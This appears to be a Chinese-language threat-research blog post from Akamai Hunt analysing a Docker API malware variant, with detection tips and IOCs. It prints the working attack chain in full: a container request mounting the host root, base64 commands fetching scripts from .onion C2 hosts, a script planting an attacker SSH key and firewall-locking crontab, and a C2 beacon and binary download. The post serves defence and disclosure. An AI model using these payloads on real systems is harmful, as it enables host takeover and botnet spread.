内容提要
Akamai Hunt 团队发现了一种专门针对暴露的 Docker API 的新型恶意软件变种,该变种还具备扩大感染范围的能力。2025 年 8 月,我们在 Akamai 的蜜罐基础架构中完成了对该变种的最近一次监测。
2025 年 6 月,Trend Micro 的 Threat Intelligence 团队首次报告了该恶意软件。他们发现的这个变种,会通过一个 Tor 域名投放加密挖矿软件。
而 Akamai Hunt 团队观察到的变种,它的初始访问途径与初始变种不同,它会阻止他人从互联网访问 Docker API。
它的二进制文件也有差异。Akamai Hunt 团队发现的这个变种不会投放加密挖矿软件,但是会投放文件,文件中带有初始变种曾使用过的工具,且具有初始变种不具备的感染能力。
本博文将详细介绍初始变种的详情、两个变种之间的区别以及可助力防御该威胁的入侵指标 (IOC)。
简介
我们的数字生态系统关联越紧密,攻击者可藏匿的空间就越大,即便被发现,攻击者也能凭借“跳板”技术继续隐藏。一旦某种新型威胁媒介或恶意软件变种被人发现和报告,攻击者可能会再次修改相应的恶意软件,而且只需短短数小时或数天即可完成。
Akamai Hunt 团队发现了一种专门针对暴露的 Docker API 的新型活跃攻击活动。该新型变种使用的工具似乎与初始变种相同,但最终目的可能不同,它可能会为了构建复杂僵尸网络做好某些基础准备。
本博文将详细剖析该恶意软件变种的技术细节、攻击链和抵御策略。
初始威胁概要
2025 年 6 月,Trend Micro 的 Threat Intelligence 团队报告了一种恶意软件,它会针对暴露的远程 Docker API 发起攻击并投放加密挖矿软件。而且,恶意软件作者还使用 Tor 域名来掩盖自己的身份。
攻击者首先攻击错误配置的 Docker API,获得访问权限,随后执行一款基于 alpine 的 Docker 映像的新型容器,并将主机的文件系统挂载到该容器中。随后,攻击者执行一段经过 Base64 编码的有效负载,该负载会从一个 .onion 服务器下载恶意 shell 脚本,再用脚本修改主机的 SSH 配置,实现对主机的持久控制。
下载负载还会安装各种工具,包括 masscan 和 torsocks,使用 Tor 域名将目标系统信息信标上报到攻击者的命令和控制 (C2) 服务器。随后,攻击者下载并执行一个包含 XMRig 加密货币挖矿软件且经过 Zstandard 压缩的二进制文件。
我们的调查研究
在一项常规研究中,我们监测到来自多个 IP 地址的 HTTP 请求想要访问我们的 Docker API,这些请求试图在我们的某台服务器上创建一个新容器(见图 1)。这事引起了我们的关注,相关调查随即开展。
{
"Image": "alpine:latest",
"Cmd": [
"sh",
"-c",
"export IP=<honeypot_ip>; echo YXBrIHVwZGF0ZSAmJiBhcGsgYWRkIGN1cmwgdG9yICYmIHRvciAmIHdoaWxlICEgY3VybCAtZnMgLS1wcm94eSBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb207IGRvIHNsZWVwIDEwOyBkb25lOyBjdXJsIC1mcyAtLXByb3h5IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCBodHRwOi8vd3R4cWY1NGRqaHA1cHNrdjJsZnlkdXViNWlldnhieXZsempnam9wazZoeGdlNXVtb21icjYzYWQub25pb24vc3RhdGljL2RvY2tlci1pbml0LnNoIHwgc2g= | base64 -d | sh"
],
"Tty": true,
"HostConfig": {
"Binds": [
"/:/hostroot:rw"
],
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
}
}
}
攻击者挂载了主机的文件系统,并执行了一个经过 Base64 编码的脚本。这种异常行为值得我们进一步调查,以便查明新建容器的目标是什么。将恶意软件样本解码后,我们发现,攻击者的目标是创建容器,并从某个 Tor 域名获取一个脚本(见图 2)。
apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip.amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | sh
该脚本共有两个运行阶段:
- 第 1 阶段:环境准备
- 安装 curl 和 tor
- 在后台开启 Tor 守护程序
- 使用 checkip.amazonaws.com 域名获取受害服务器的公共 IP
- 第 2 阶段:检索和执行
- 从某个 Tor 域名获取名为 docker-init.sh 的脚本(见图 3)
#!/bin/sh
echo "Karuizawa running..."
if [ -d "/hostroot" ]; then
SC="/hostroot/etc/ssh/sshd_config";{ printf "PermitRootLogin yes\nPubkeyAuthentication yes\n"; cat $SC; } > t.txt && mv t.txt $SC && echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHTVlJAQr3MiANW6KZjiPrzlIsVXkATKxKGrwFM4ylE31c4psnz1NdsKVSG7mVmB3bjmBRL3d4JmpKNByGPXeF9LgAOU4t5Olcwhl0x+ci8zwg6xV+dq/YABOxNZr5MI1dVfkmZ86+iGRnt03TB28n0RH1zbJ+x21jw5iJSwoUe+rkD1A==" >> /hostroot/root/.ssh/authorized_keys
echo "* * * * * root echo 'aWYgY29tbWFuZCAtdiBzeXN0ZW1jdGwgJj4gL2Rldi9udWxsOyB0aGVuCiAgICBzeXN0ZW1jdGwgcmVsb2FkIHNzaGQgMj4vZGV2L251bGwgfHwgc3lzdGVtY3RsIHJlbG9hZCBzc2gKZWxpZiBbIC14IC9ldGMvaW5pdC5kL3NzaCBdOyB0aGVuCiAgICAvZXRjL2luaXQuZC9zc2ggcmVsb2FkCmVsaWYgWyAteCAvZXRjL2luaXQuZC9zc2hkIF07IHRoZW4KICAgIC9ldGMvaW5pdC5kL3NzaGQgcmVsb2FkCmVsc2UKICAgIGVjaG8gImVyciIKZmkKClBPUlQ9MjM3NQpQUk9UT0NPTD10Y3AKCmZvciBmdyBpbiBmaXJld2FsbC1jbWQgdWZ3IHBmY3RsIGlwdGFibGVzIG5mdDsgZG8KICBpZiBjb21tYW5kIC12ICIkZnciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgY2FzZSAiJGZ3IiBpbgogICAgICBmaXJld2FsbC1jbWQpCiAgICAgICAgZmlyZXdhbGwtY21kIC0tcGVybWFuZW50IC0tem9uZT1wdWJsaWMgLS1hZGQtcmljaC1ydWxlPSJydWxlIGZhbWlseT0naXB2NCcgcG9ydCBwb3J0PScke1BPUlR9JyBwcm90b2NvbD0nJHtQUk9UT0NPTH0nIHJlamVjdCIKICAgICAgICBmaXJld2FsbC1jbWQgLS1yZWxvYWQKICAgICAgICA7OwogICAgICB1ZncpCiAgICAgICAgdWZ3IGRlbnkgIiR7UE9SVH0vJHtQUk9UT0NPTH0iCiAgICAgICAgdWZ3IHJlbG9hZAogICAgICAgIDs7CiAgICAgIHBmY3RsKQogICAgICAgIGVjaG8gImJsb2NrIGRyb3AgcHJvdG8gJHtQUk9UT0NPTH0gZnJvbSBhbnkgdG8gYW55IHBvcnQgJHtQT1JUfSIgfCBwZmN0bCAtYSBjdXN0b21fYmxvY2sgLWYgLQogICAgICAgIDs7CiAgICAgIGlwdGFibGVzKQogICAgICAgIGlwdGFibGVzIC1JIElOUFVUIDEgLXAgIiR7UFJPVE9DT0x9IiAtLWRwb3J0ICIke1BPUlR9IiAtaiBEUk9QCiAgICAgICAgOzsKICAgICAgbmZ0KQogICAgICAgIGlmICEgbmZ0IGxpc3QgdGFibGVzIHwgZ3JlcCAtcSAiaW5ldCI7IHRoZW4KICAgICAgICAgIG5mdCBhZGQgdGFibGUgaW5ldAogICAgICAgICAgbmZ0IGFkZCBjaGFpbiBpbmV0IGZpbHRlciB7IHR5cGUgZmlsdGVyIGhvb2sgaW5wdXQgcHJpb3JpdHkgMCBcOyB9CiAgICAgICAgZmkKICAgICAgICBuZnQgYWRkIHJ1bGUgaW5ldCBmaWx0ZXIgaW5wdXQgIiR7UFJPVE9DT0x9IiBkcG9ydCAiJHtQT1JUfSIgZHJvcAogICAgICAgIDs7CiAgICBlc2FjCiAgICBicmVhawogIGZpCmRvbmUKCmVjaG8gIiIgPiAvZXRjL2Nyb250YWIK' | base64 -d | sh" >> /hostroot/etc/crontab
fi
apk add masscan libpcap libpcap-dev zstd torsocks
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
zstd -d /tmp/system.zst -o /tmp/system
chmod +x /tmp/system
ulimit -n 65535
/tmp/system
sleep 30
分析 docker-init.sh 脚本
在对图 3 中的脚本进行分析后,我们发现,该脚本会执行多种持久化和防御规避步骤,包括阻断后续对该暴露实例的访问,而我们在先前的变种中尚未见过这种特征。
通过 SSH 实现 root 权限持久控制:该脚本会将攻击者控制的公钥追加写入 /root/.ssh/authorized_keys。
安装:该脚本随后会添加用于传播、持久控制和规避检测的多种工具(masscan、libpcap、libpcap-dev, zstd 和 torsocks)。
- 掌控访问权限:攻击者将脚本中经过 Base64 编码的命令写入 /hostroot/etc/crontab 后,会创建一个每分钟执行一次的 Cron 作业,该作业会逐一调用并操作多个防火墙工具(firewall-cmd、ufw、pfctl、iptables、nft)来阻止对端口 2375 (Docker API) 的访问(见图 4)。
PORT=2375
PROTOCOL=tcp
for fw in firewall-cmd ufw pfctl iptables nft; do
if command -v "$fw" >/dev/null 2>&1; then
case "$fw" in
firewall-cmd)
firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port port='${PORT}' protocol='${PROTOCOL}' reject"
firewall-cmd --reload
;;
ufw)
ufw deny "${PORT}/${PROTOCOL}"
ufw reload
;;
pfctl)
echo "block drop proto ${PROTOCOL} from any to any port ${PORT}" | pfctl -a custom_block -f -
;;
iptables)
iptables -I INPUT 1 -p "${PROTOCOL}" --dport "${PORT}" -j DROP
;;
nft)
if ! nft list tables | grep -q "inet"; then
nft add table inet
nft add chain inet filter { type filter hook input priority 0 \; }
fi
nft add rule inet filter input "${PROTOCOL}" dport "${PORT}" drop
;;
esac
break
fi
done
主机上已存在 crontab 文件,这是因为攻击者在创建容器时就将它挂载进了主机。这是一种独占战术,也就是说,攻击者将受害主机锁定,供自己独占使用,并阻止其他攻击者后续访问已暴露主机。这是该变种代码中的新代码片段,我们在以往的变种代码中从未见过,而且该片段目前尚无法被 VirusTotal 检测到。
随后,攻击者向自己的 C2 服务器发送 POST 请求,表明已成功入侵了 Docker 服务(见图 5)。
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
与 C2 服务器的通信一旦建立,该脚本便会从另一个 Tor 服务域名下载一个压缩二进制文件(见图 6)。
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
分析二进制文件
下载的第一个文件是用 Go 语言编写的投放器,已经带有需要投放的内容,因此不需要与外部的互联网通信。
除了会投放二进制文件,它还会解析 utmp 文件,以查明当前登录设备的用户是谁。
图 7 展示了投放器的代码片段,其中含有一个“user”表情符号。这是一处有趣的“技术痕迹”,可能表示该投放器的开发用到了大语言模型 (LLM) 辅助,因为许多 LLM 在生成代码时,都喜欢加入表情符号。
投放的文件 (dockerd) 会执行masscan,这是一款非常适合此类大规模扫描的端口扫描工具(见图 8)。它会扫描其他开放的 2375 端口(Docker API 服务)。如果发现相应端口,它会采用同样的方法感染该端口:创建图 1 中展示的带有 Base64 编码命令的容器。
尽管最开始的两个端点(Get、Start)用于传播恶意软件,最后的两个端点(Stop、Remove)却似乎用于识别其他攻击者部署的恶意容器(见图 9)。
这种识别方式是通过搜索 ubuntu 容器来实现的,我们的研究数据表明,许多攻击者会部署自带加密挖矿软件的 ubuntu 容器。我们的大多数蜜罐事件表明,攻击者最初使用 ubuntu 或 alpine 容器进行访问,随后使用 curl 命令访问恶意域名,下载恶意软件。
呼朋唤友
然而,对于该变种而言,最初的感染还不够。攻击者使用我们在图 1 中展示的 Base64 编码命令,加上其他配置参数,在利用 masscan 扫描的已暴露主机上创建新的恶意容器(见图 10)。
尽管 masscan 只扫描端口 2375,但是该恶意软件还会检查另外两个端口:端口 23 (Telnet) 和端口 9222(这是供 Chromium 浏览器使用的远程调试端口),似乎还为这两个端口另外准备了针对性的感染技术。
据我们所知,尽管该恶意软件只扫描端口 2375,但是用于处理端口 23 和端口 9222 的逻辑模块目前并不可用,因此不会被执行。然而,既然目前已经存在功能实现,那么它将来可能会有相应的攻击能力。
端口 23
恶意软件针对端口 23 (Telnet) 使用了一系列已知的默认路由器和设备凭据(例如,Alphanetworks:wrgg15_di524 或 PSEAdmin:$secure$)。它会记录下成功登录的信息,然后将成功登录信息连同目标 IP 和受害主机的身份验证凭据发送到 webhook [.] site 端点 (4fea5cbb-8863-4f25-862a-fd8f02095207)。
有趣的是,它还会假设场景:如果能使用“root”用户成功登录,它会认定该主机是一个蜜罐。这种假设的根据可能是:在默认配置下,Telnet 会拒绝 root 登录请求(见图 11)。
端口 9222
端口 9222 是 Google Chrome 和 Chromium 浏览器的默认远程调试端口,该端口用于暴露 DevTools 协议。如果该端口面向互联网开放,便可允许远程控制浏览器,引发安全风险。
该恶意软件会使用 chromedp,这是一款与 Chrome 或 Chromium 浏览器交互的 Go 语言库。这款语言库曾被滥用于实现多种目的:绕过 Chrome 的 应用绑定加密功能、远程连接 Chromium 会话、窃取 Cookie 和其它私人数据。
我们发现的恶意软件变种会使用 NewRemoteAllocator 和 NewContext,加上 http://<scanned_ip>:9222 参数,连接到具有开放远程端口的现有会话(见图 12)。
该变种会导航到 http://checkip.amazonaws.com,并查询页面的 body。除此之外,我们尚未在该威胁媒介中发现其他活动。我们也无法找到该变种的更复杂版本。
最终,如果成功获取了页面的 body,该变种会调用名为 addHttpbot 的函数,利用该函数从暴露的 IP 发送一条 POST 请求到 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/httpbot/add(请注意此处 http 端点的前缀),请求中携带了恶意软件所在设备的源 IP,以及它在端口 9222 上发现的目标地址。
理论上,在未来的变种中,攻击者访问远程可调试端口后,可能会采用多种恶意攻击方案,包括:
- 窃取 Cookie 或信用卡号等敏感数据
- 从外部访问受限信息,例如云元数据
- 执行现代分布式拒绝服务 (DDoS) 攻击
- 下载远程文件
同样需要注意的是,如果采用 --remote-debugging-port 参数暴露 Chrome 浏览器,在默认情况下,该变种仅监听来自 localhost 的请求。如果将该端口暴露到互联网,则必须设置 --remote-debugging-address 参数。
该文件还会查询 ip-api 来获取 ASN 和地理位置信息,这一功能位于名为 IsAWSIP 的函数中,尽管我们尚无任何证据表明该变种有针对 AWS 的特定滥用行为或进一步的相关逻辑模块。但是,该变种的未来版本可能会具备逻辑模块。
从一些底层机制来看,我们相信该变种是某种复杂僵尸网络的初始版本,但迄今为止,我们尚未找到这种初始变种的完整样本。
检测威胁
您可以任意采用下列技术来检测该变种或类似变种的潜在感染:
检查新部署的容器是否会先执行安装程序(例如 apt 或 yum 安装包),然后立即启动下载器(例如 curl 或 wget)。许多攻击者采用这种方式,在暴露的 Docker 容器中远程执行代码。
查找互联网到端口 2375、端口 9222 和端口 23 之间的新建连接。同样,如果在您的网络中发现扫描工具的使用痕迹,则可能表示有侦查活动。
监测经过 Base64 编码的命令,检查这些命令的执行位置和执行者是否有异常,当然,还要监测这些命令的具体解码内容。
监测下载应用程序。检测这类下载进程对可疑域名的异常访问,这对于发现来自网络的初始入侵行为至关重要。
留意哪些主要服务停用了端口监听功能。如果您的环境中有某项服务一直在某个端口监听,却突然无故停止,这种突变或许暗藏可疑之处。
检查挂载了主机文件系统的新容器。如果新部署的容器开始访问敏感主机路径(例如,/、/var/run/docker.sock、/etc 等路径),则可能表示攻击正试图突破容器边界,或是要夺取对主机的高级控制权。
Akamai Hunt 的全天候安全监测服务可及时检测并调查此类异常,避免风险升级为实际威胁,从而为客户提供切实保障。
预防和补救
技术聚焦:Beelzebub 项目
在发现该变种的蜜罐中,我们使用了 Mario Candela 开发的卓越架构——Beelzebub 蜜罐项目架构。
Beelzebub 是开源的蜜罐架构,能让研究人员无需过多投入即可模拟高交互服务。您只需为每个服务编写简单的 YAML 文件,就能基于请求/响应模式模拟出完整的协议或 API(见图 13)。
该架构还支持接入大语言模型 (LLM) 生成动态响应,如此一来,攻击者会误以为自己在与真实 API 交互,而实际上是 LLM 在模拟真实 API 的响应。
- regex: "^/_ping/?$"
headers:
- "Content-Type: text/plain; charset=utf-8"
- "Server: Docker/24.0.7 (linux)"
- "Api-Version: 1.43"
- "Docker-Experimental: false"
- "Ostype: linux"
statusCode: 200
handler: "OK"
这段代码片段定义了攻击者查询 Docker API 的 /_ping 端点时,Beelzebub 该如何响应。蜜罐并未简单忽略该请求,而是返回了相应的标头信息和元数据,使其看起来就像一台运行着 Linux 系统且搭载 Docker 24.0.7 版本的真实服务器。代码片段中,handler 处只返回了一个“OK”,与真正的 Docker 守护程序完全一致。
您可以在我们的 GitHub 页面获取完整的 Docker API YAML 文件。
正在寻求主动监控方案?
新发现的这种 Docker 恶意软件变种突显了研究界继续开展研究工作的必要性,这些宝贵的研究成果可帮助防御者抵御威胁。攻击者始终魔高一丈,他们的手段往往有两种:第一种是利用已知威胁或漏洞,对攻击手段稍作修改便可逃避检测;第二种则更加恶劣,攻击者提前布局,为后续制造更大的破坏埋下伏笔。
攻击者可利用被滥用的 API,获得受感染系统的大部分控制权。将网络分段、限制在互联网上暴露的服务数量、修改默认凭据为强密码等防护措施的重要性不言而喻。企业采取这些措施,可在很大程度上减少漏洞,增强应对此类威胁的能力。
Akamai Hunt 团队将继续监控此类威胁,及时报告真实事件中的研究成果,为我们的客户和整个安全社区提供安全保障。请关注我们的社交媒体或研究页面,随时了解 Hunt 团队和其余 Akamai 安全情报组的最新发现。
IOC
IOC |
类型 |
---|---|
wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion |
域名 |
2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion |
域名 |
webhook[.]site/4fea5cbb-8863-4f25-862a-fd8f02095207 |
URL |
C38e013ed9aa1ef46411bef9605f7a41823f3eefebb8b30b9e35f39723c14d7c - docker-init.sh |
散列值 |
649974453ed40b72d08d378d72d43161ed5bd093a4f80eb5285f75e16fedbeb2 - system |
散列值 |
9451d3dc4b0ff9ea6afa503ffbfcd877944cac0860d6a0b8779c2bb5d03d3446 - dockerd |
散列值 |
什么是 Akamai Hunt?
Akamai Hunt 是主动式、实战型的威胁搜寻服务,持续监控异常情况与潜在威胁,可快速检测并及时调查异常,避免风险升级为实际威胁。
依托 Akamai 庞大的蜜罐基础架构以及客户环境的直接交互反馈,我们能够洞察攻击者最新的技术手段、工具和行为模式。这些优势让我们能够基于真实的攻击者活动验证假设,利用一手情报完善检测机制,赶在威胁触及客户环境之前,预判下一步动向。
标签